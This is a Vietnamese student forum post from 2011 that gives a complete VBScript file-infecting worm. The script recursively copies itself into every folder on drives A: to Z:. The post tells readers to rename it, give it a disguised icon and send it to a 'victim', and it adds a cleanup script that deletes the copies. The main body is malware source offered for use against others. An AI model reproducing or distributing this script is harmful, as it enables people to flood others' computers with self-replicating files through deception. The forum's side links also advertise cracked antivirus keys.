Chào mừng đến với Diễn đàn tập thể A5 - THCS Thị Trấn - Vũ Thư - Thái Bình. Bạn đăng nhập tài khoản để thêm nhiều quyền lợi. Nếu chưa có tài khoản xin vào phần đăng kí
Xin trân trọng cảm ơn
Ban quản lí diễn đàn. Đại diện: Mr.IT
Địa chỉ liên hệ: viet.anh.it.0201@gmail.com
tao virus hang doc!!!
Đăng Ký
Trang Tin Tuc*Trang Tin Tuc*  IndexIndex  CalendarCalendar  Tìm kiếmTìm kiếm  Thành viênThành viên  NhómNhóm  Đăng kýĐăng ký  Đăng Nhập  Trợ giúpTrợ giúp  


Share | 
 

 tao virus hang doc!!!

Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down 
Tác giảThông điệp
tranvietdung_a5
mini_admin
mini_admin


Tổng số bài gửi : 26
Join date : 23/08/2011
Đến từ : mi

Bài gửiTiêu đề: tao virus hang doc!!!   Sun Sep 18, 2011 3:25 pm

Vào START => PROGRAMS =>ACCESSORIES=>NOTEPAD
Copy đoạn mã sau:


'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub


Lưu lại với tên: thuocdoc.vbs (nhất định phải lưu lại dưới dạng .VBS)

Thay đổi tên và icon cho đẹp mắt rồi gởi cho nạn nhân. Chỉ cần 1 cú click là TRÀN NGẬP cả máy...

Nếu bạn là nạn nhân:

.Copy Đoạn Mã Sau :
'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

Lưu lại với tên thuocgiai.vbs sau đó kích đôi vào là OK!!!





Tạo virus tự nhân bản (vui)!!!


Similar topics


Similar topics


» Khai trương của hàng nhẫn thuật
» Panda Cloud Antivirus 1.4.0 - Phần mềm diệt virus miễn phí công nghệ mới !!!
» Kaspersky 2011 Internet Security & Anti-Virus v11.0.2.55 + Key Exploit v0.534 (9873 Days License)
» VnFix 1.1 - "Thu dọn" hậu quả do virus gây ra
» Anti-Virus → ESET NOD32 Offline Updater v.5719 (+Keys) [29/12/2010]

Trang 1 trong tổng số 1 trang

Permissions in this forum: Bạn không có quyền trả lời bài viết
:: Sharing together :: Experience in various fields




:: Sharing together :: Experience in various fields

Twisted Evil



Về Đầu Trang Go down
Xem lý lịch thành viên
 
tao virus hang doc!!!
Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang 
Trang 1 trong tổng số 1 trang
 Similar topics
-
» Tìm hiểu về Vận đơn đường biển (Bill of Lading - B/L)
» Hệ thống báo động trực ca hàng hải (Bridge Navigation Watch Alarm System - BNWAS)
» [Hình ảnh] Một số hình ảnh về tàu dầu
» Danh mục thiết bị thông tin và liên lạc hàng hải
» Cung cấp Hải đồ và Ấn phẩm Hàng Hải

Permissions in this forum:Bạn không có quyền trả lời bài viết
 :: ๑๑۩۞۩๑๑... Kiến thức học tập ...๑๑۩۞۩๑๑ :: Tin học và cuộc sống-
Chuyển đến 

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2011, Jelsoft Enterprises Ltd.

Nhập Vào Nick YM Bạn Muốn "Chôm" Avatar





Free forum | © phpBB | Free forum support | Liên hệ | Report an abuse | Sosblogs